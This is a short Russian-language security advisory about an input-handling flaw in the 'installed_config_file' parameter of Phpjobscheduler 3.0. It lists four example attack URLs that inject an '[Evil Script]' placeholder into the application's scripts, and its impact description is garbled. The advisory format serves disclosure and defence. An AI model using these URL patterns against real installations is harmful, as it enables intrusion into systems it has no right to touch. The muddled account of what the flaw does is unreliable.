Программа: Phpjobscheduler 3.0
Уязвимость позволяет удаленному пользователю изменить пароль на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре «installed_config_file» множественными сценариями. Удаленный пользователь может изменить пароль сценарий на целевой системе.
Примеры:
http://www.site.com/phpjobschedule_PATH/add-modify.php?installed_config_file=[Evil Script]
http://www.site.com/phpjobschedule_PATH/delete.php?installed_config_file=[Evil Script]
http://www.site.com/phpjobschedule_PATH/modify.php?installed_config_file=[Evil Script]
http://www.site.com/phpjobschedule_PATH/phpjobscheduler.php?installed_config_file=[Evil Script]
